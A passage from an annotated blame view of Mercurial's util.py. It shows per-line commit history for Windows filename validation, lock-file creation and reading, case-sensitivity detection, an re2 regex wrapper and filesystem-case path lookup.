0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
1814 "filename contains '\\x07', which is invalid on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1815 >>> checkwinfilename(b"foo/bar/bla ")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1816 "filename ends with ' ', which is not allowed on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1817 >>> checkwinfilename(b"../bar")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1818 >>> checkwinfilename(b"foo\\")
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
1819 "filename ends with '\\', which is invalid on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1820 >>> checkwinfilename(b"foo\\/bar")
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
1821 "directory name ends with '\\', which is invalid on Windows"
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1822 '''
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
1823 if path.endswith('\\'):
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
1824 return _("filename ends with '\\', which is invalid on Windows")
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
1825 if '\\/' in path:
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
1826 return _("directory name ends with '\\', which is invalid on Windows")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1827 for n in path.replace('\\', '/').split('/'):
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1828 if not n:
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1829 continue
32572
377c74ef008d win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 31952
diff changeset
1830 for c in _filenamebytestr(n):
14262
23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents: 14250
diff changeset
1831 if c in _winreservedchars:
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1832 return _("filename contains '%s', which is reserved "
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1833 "on Windows") % c
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1834 if ord(c) <= 31:
34360
f435097d13c9 py3: manually escape control character to be embedded in win filename error
Yuya Nishihara <yuya@tcha.org>
parents: 34357
diff changeset
1835 return _("filename contains '%s', which is invalid "
37084
f0b6fbea00cf stringutil: bulk-replace call sites to point to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37083
diff changeset
1836 "on Windows") % stringutil.escapestr(c)
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1837 base = n.split('.')[0]
14262
23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents: 14250
diff changeset
1838 if base and base.lower() in _winreservednames:
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1839 return _("filename contains '%s', which is reserved "
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1840 "on Windows") % base
34361
7508a7dc95c1 py3: replace bytes[n] with slicing in checkwinfilename()
Yuya Nishihara <yuya@tcha.org>
parents: 34360
diff changeset
1841 t = n[-1:]
15358
a347b3614bae util: don't complain about '..' in path components not working on Windows
Matt Mackall <mpm@selenic.com>
parents: 15159
diff changeset
1842 if t in '. ' and n not in '..':
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1843 return _("filename ends with '%s', which is not allowed "
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1844 "on Windows") % t
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1845
34645
75979c8d4572 codemod: use pycompat.iswindows
Jun Wu <quark@fb.com>
parents: 34554
diff changeset
1846 if pycompat.iswindows:
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1847 checkosfilename = checkwinfilename
30974
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30925
diff changeset
1848 timer = time.clock
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1849 else:
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
1850 checkosfilename = platform.checkosfilename
30974
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30925
diff changeset
1851 timer = time.time
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30925
diff changeset
1852
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30925
diff changeset
1853 if safehasattr(time, "perf_counter"):
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30925
diff changeset
1854 timer = time.perf_counter
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1855
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1856 def makelock(info, pathname):
36701
d77c3b023393 lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents: 36699
diff changeset
1857 """Create a lock file atomically if possible
d77c3b023393 lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents: 36699
diff changeset
1858
d77c3b023393 lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents: 36699
diff changeset
1859 This may leave a stale lock file if symlink isn't supported and signal
d77c3b023393 lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents: 36699
diff changeset
1860 interrupt is enabled.
d77c3b023393 lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents: 36699
diff changeset
1861 """
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1862 try:
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1863 return os.symlink(info, pathname)
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
1864 except OSError as why:
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1865 if why.errno == errno.EEXIST:
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1866 raise
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1867 except AttributeError: # no symlink in os
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1868 pass
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1869
36783
1fbbb8e83392 py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents: 36782
diff changeset
1870 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1fbbb8e83392 py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents: 36782
diff changeset
1871 ld = os.open(pathname, flags)
704
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
1872 os.write(ld, info)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
1873 os.close(ld)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
1874
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1875 def readlock(pathname):
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1876 try:
39904
5fe0b880200e py3: convert os.readlink() path to native strings on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents: 39777
diff changeset
1877 return readlink(pathname)
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
1878 except OSError as why:
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1879 if why.errno not in (errno.EINVAL, errno.ENOSYS):
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1880 raise
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1881 except AttributeError: # no symlink in os
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1882 pass
39905
4017968f0a1d util: use a context manager in readlock()
Matt Harbison <matt_harbison@yahoo.com>
parents: 39904
diff changeset
1883 with posixfile(pathname, 'rb') as fp:
4017968f0a1d util: use a context manager in readlock()
Matt Harbison <matt_harbison@yahoo.com>
parents: 39904
diff changeset
1884 return fp.read()
704
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
1885
2176
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
1886 def fstat(fp):
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
1887 '''stat file object that may not have fileno method.'''
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
1888 try:
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
1889 return os.fstat(fp.fileno())
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
1890 except AttributeError:
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
1891 return os.stat(fp.name)
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
1892
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1893 # File system features
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1894
29889
6f447b9ec263 util: rename checkcase() to fscasesensitive() (API)
Martin von Zweigbergk <martinvonz@google.com>
parents: 29832
diff changeset
1895 def fscasesensitive(path):
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1896 """
18911
451eb1c27c1b util: improve doc for checkcase
Mads Kiilerich <mads@kiilerich.com>
parents: 18868
diff changeset
1897 Return true if the given path is on a case-sensitive filesystem
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1898
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1899 Requires a path (like /foo/.hg) ending with a foldable final
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1900 directory component.
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1901 """
24902
986a5c23b1c1 util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents: 24692
diff changeset
1902 s1 = os.lstat(path)
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1903 d, b = os.path.split(path)
15667
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
1904 b2 = b.upper()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
1905 if b == b2:
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
1906 b2 = b.lower()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
1907 if b == b2:
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
1908 return True # no evidence against case sensitivity
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
1909 p2 = os.path.join(d, b2)
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1910 try:
24902
986a5c23b1c1 util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents: 24692
diff changeset
1911 s2 = os.lstat(p2)
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1912 if s2 == s1:
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1913 return False
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1914 return True
14004
97ed99d1f419 eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents: 13985
diff changeset
1915 except OSError:
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1916 return True
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1917
16943
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
1918 try:
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
1919 import re2
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
1920 _re2 = None
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
1921 except ImportError:
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
1922 _re2 = False
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
1923
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1924 class _re(object):
21913
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1925 def _checkre2(self):
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1926 global _re2
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1927 try:
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1928 # check if match works, see issue3964
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1929 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1930 except ImportError:
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1931 _re2 = False
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1932
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1933 def compile(self, pat, flags=0):
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1934 '''Compile a regular expression, using re2 if possible
16943
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
1935
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1936 For best performance, use only re2-compatible regexp features. The
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1937 only flags from the re module that are re2-compatible are
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1938 IGNORECASE and MULTILINE.'''
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1939 if _re2 is None:
21913
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1940 self._checkre2()
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1941 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1942 if flags & remod.IGNORECASE:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1943 pat = '(?i)' + pat
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1944 if flags & remod.MULTILINE:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1945 pat = '(?m)' + pat
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1946 try:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1947 return re2.compile(pat)
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1948 except re2.error:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1949 pass
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1950 return remod.compile(pat, flags)
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1951
21914
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1952 @propertycache
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1953 def escape(self):
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1954 '''Return the version of escape corresponding to self.compile.
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1955
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1956 This is imperfect because whether re2 or re is used for a particular
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1957 function depends on the flags, etc, but it's the best we can do.
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1958 '''
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1959 global _re2
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1960 if _re2 is None:
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1961 self._checkre2()
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1962 if _re2:
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1963 return re2.escape
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1964 else:
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1965 return remod.escape
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1966
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1967 re = _re()
16943
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
1968
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1969 _fspathcache = {}
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1970 def fspath(name, root):
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1971 '''Get name in the case stored in the filesystem
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1972
15710
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
1973 The name should be relative to root, and be normcase-ed for efficiency.
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
1974
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
1975 Note that this function is unnecessary, and should not be
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1976 called, for case-sensitive filesystems (simply because it's expensive).
15670
d6c19cfa03ce icasefs: avoid normcase()-ing in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15669
diff changeset
1977
15710
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
1978 The root should be normcase-ed, too.
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1979 '''
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
1980 def _makefspathcacheentry(dir):
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
1981 return dict((normcase(n), n) for n in os.listdir(dir))
15709
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
1982
30613
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30536
diff changeset
1983 seps = pycompat.ossep
30625
bcf4a975f93d py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30613
diff changeset
1984 if pycompat.osaltsep:
bcf4a975f93d py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30613
diff changeset
1985 seps = seps + pycompat.osaltsep
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1986 # Protect backslashes. This gets silly very quickly.
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1987 seps.replace('\\','\\\\')
31496
670166e0fcaa util: use bytes re on bytes input in fspath
Augie Fackler <augie@google.com>
parents: 31495
diff changeset
1988 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
15669
390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15667
diff changeset
1989 dir = os.path.normpath(root)
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1990 result = []
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1991 for part, sep in pattern.findall(name):
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1992 if sep:
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1993 result.append(sep)
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1994 continue
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1995
15719
1dd60426b061 icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15718
diff changeset
1996 if dir not in _fspathcache:
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
1997 _fspathcache[dir] = _makefspathcacheentry(dir)
15719
1dd60426b061 icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15718
diff changeset
1998 contents = _fspathcache[dir]
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1999
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
2000 found = contents.get(part)
15709
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
2001 if not found:
15720
3bcfea777efc icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15719
diff changeset
2002 # retry "once per directory" per "dirstate.walk" which
3bcfea777efc icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15719
diff changeset
2003 # may take place for each patches of "hg qpush", for example
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
2004 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
2005 found = contents.get(part)
15709
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
2006
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
2007 result.append(found or part)
15669
390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15667
diff changeset
2008 dir = os.path.join(dir, part)
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
2009
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
2010 return ''.join(result)
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
2011
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
2012 def checknlink(testfile):
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
2013 '''check whether hardlink count reporting works properly'''
